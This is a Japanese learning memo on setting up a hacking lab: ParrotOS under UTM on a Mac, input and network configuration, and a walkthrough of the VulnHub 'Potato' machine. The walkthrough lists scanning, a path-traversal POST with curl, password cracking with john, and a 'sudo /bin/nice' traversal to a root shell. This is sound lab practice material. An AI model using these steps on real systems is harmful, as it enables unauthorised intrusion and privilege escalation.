Open9

【メモ】ハッキング・ラボのつくりかた 完全版

あぷしあぷし

Apple SiliconのMacでParrotOSを利用する

筆者のブログを参考にインストール。

brewによるUTMのインストール

brew install utm --cask

ParrotOSのイメージ

Downloadページから「utm(Apple Silicon)」を選択

ユーザ名: parrot
パスワード: parrot

あぷしあぷし

クリップボード共有と解像度自動調整

Qiitaを参考に、以下のコマンドでインストール後VMを再起動

sudo apt install spice-vdagent spice-webdavd
あぷしあぷし

日本語キーボード 入力設定

参考ページ

Mozcインストール

$ sudo apt install -y fcitx-mozc
$ im-config -n fcitx
$ fcitx-autostart
fcitx-configtool
  • Imput Methodで「Mozc」を設定
  • Global Config で Trigger Imput Method をZenkakuhankaku に設定

JIS配列対応

  1. パネルのキーボードアイコンを右クリックし、「Configure」を開く
  2. 「+」ボタンを押下
  3. 「Only Show Current Language」のチェックを外して「Japan」で検索
  4. 「Keyboard - Japanese」を選択する
あぷしあぷし

日本語フォント設定

Notoフォント・フォントキャッシュ導入

sudo apt update && sudo apt install fonts-noto-cjk fonts-noto-cjk-extra fonts-noto-color-emoji && fc-cache -fv

インストール後、GUIからフォント変更

  1. 画面左下の「Menu」から「Preference」→「Appearance」→「Fonts」タブを選択
  2. 「Noto Sans CJK JP Regular」を設定する。

参考

あぷしあぷし

メモ

追加でインストールが必要なツール

  • apparmor-utils: aa-disableコマンド
  • ufw: ufwコマンド
sudo apt update -y
sudo apt install apparmor-utils ufw
あぷしあぷし

UTM ネットワーク設定

P327 ParrotOSの仮想マシンを2台用意する

マシンのクローン

VMを右クリックして「複製」を押下する。
MACアドレスがクローン元と同じになっているので、変更する。
VMを右クリック→編集 → デバイス > ネットワーク > MACアドレス欄の「ランダム」ボタンを押下してMACアドレスを再設定する。

詳しいネットワーク設定

名前 設定値
ネットワークモード ホストのみ
仮想ネットワークカード virtio-net-pci(デフォルト)
MACアドレス 任意の値

詳細設定

名前 設定値
ゲストをホストから隔離 未チェック
ゲストネットワーク 192.168.56.1/24
ゲストネットワーク(IPv6) (空欄)
DHCP割当開始アドレス 192.168.56.100
DHCP割当終了アドレス 192.168.56.254

DHCP割当開始アドレスに設定したIPアドレスがVM内でDHCPサーバーのIPアドレスとして使用される。
DHCPサーバーのIPアドレスは以下のコマンドで確認可能

cat /var/lib/dhcp/dhclient.leases

DHCPサーバーのIPアドレスを再設定する場合はdhclientを使用して再リースする。

sudo dhclient -r
sudo dhclient

再リース後は/var/lib/dhcp/dhclient.leasesで内容を確認可能。

lease {
  interface "enp0s1";
  fixed-address 192.168.56.102;
  server-name "<ホストPC名>";
  option subnet-mask 255.255.255.0;
  option dhcp-lease-time 86400;
  option dhcp-message-type 5;
  option dhcp-server-identifier 192.168.56.100;
  renew 2 2024/03/05 03:27:11;
  rebind 2 2024/03/05 03:27:11;
  expire 2 2024/03/05 03:27:11;
}
lease {
  interface "enp0s1";
  fixed-address 192.168.56.102;
  server-name "<ホストPC名>";
  option subnet-mask 255.255.255.0;
  option dhcp-lease-time 86400;
  option dhcp-message-type 5;
  option dhcp-server-identifier 192.168.56.100;
  renew 2 2024/03/05 12:52:50;
  rebind 3 2024/03/06 00:27:15;
  expire 3 2024/03/06 03:27:15;
}
あぷしあぷし

Netcat同士で通信する

ParrotOSマシンからParrotOS-Test(もしくはその逆)へ接続が失敗する。

前の項で有効にしたufwが邪魔していたので、無効化する。

sudo ufw disable
あぷしあぷし

#1 Potato

イメージ

https://www.vulnhub.com/entry/potato-1,529/

ネットワーク設定

自環境ではWindowsPCにVirtualBoxをインストールしイメージを起動してネットワーク越しにアクセスをする。

UTM(ParrotOS側) ネットワーク設定

ネットワークモード: ブリッジ(詳細)
詳細設定はすべて空欄に戻す。

VirtualBox(Potato側) ネットワーク設定

割り当て: ブリッジアダプター
名前: ipconfig /allで出てきた、「イーサネットアダプター イーサネット」の「説明」と同じ名前のもの

実施コマンド

  • sudo netdiscover -i enp0s1 -r <ネットワークアドレス>/24
  • sudo nmap -sC -sV -Pn -p- $IP -oN portscan_result.txt
  • ftp $IP 2112
  • file welcome.msg
  • gobuster dir -u $URL -w /usr/share/wordlists/dirb/common.txt
    • /adminのページの存在を確認
  • burpsuite
    • 左上のApplicationからPentesting > Web Application Analysis > Web Application Proxies > BurpSuite
    • Could not start Burp: java.lang.NullPointerException
      • sudo apt update && sudo apt upgrade
      • sudo apt-get update --fix-missingで解決
  • Proxy > Intercept > Open browser
    • 開かない → 公式HPで最新版をダウンロードして使用して解決
  • curl -X POST -b "pass=xxxx" -d "file=../../xxx"
    • -b リクエストヘッダ
  • john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
    • rockyou.txt.gzしかない → sudo gzip -d /usr/share/wordlists/rockyou.txt.gzで解凍
  • john hash.txt -show
  • sudo -l
    • sudo実行権限確認
    • /bin/niceコマンドを/notes配下を対象として実行可能
  • sudo /bin/nice /notes/id.sh
  • sudo /bin/nice /notes/../bin/bash → root奪取
  • cat root.txt | base64 -d

参考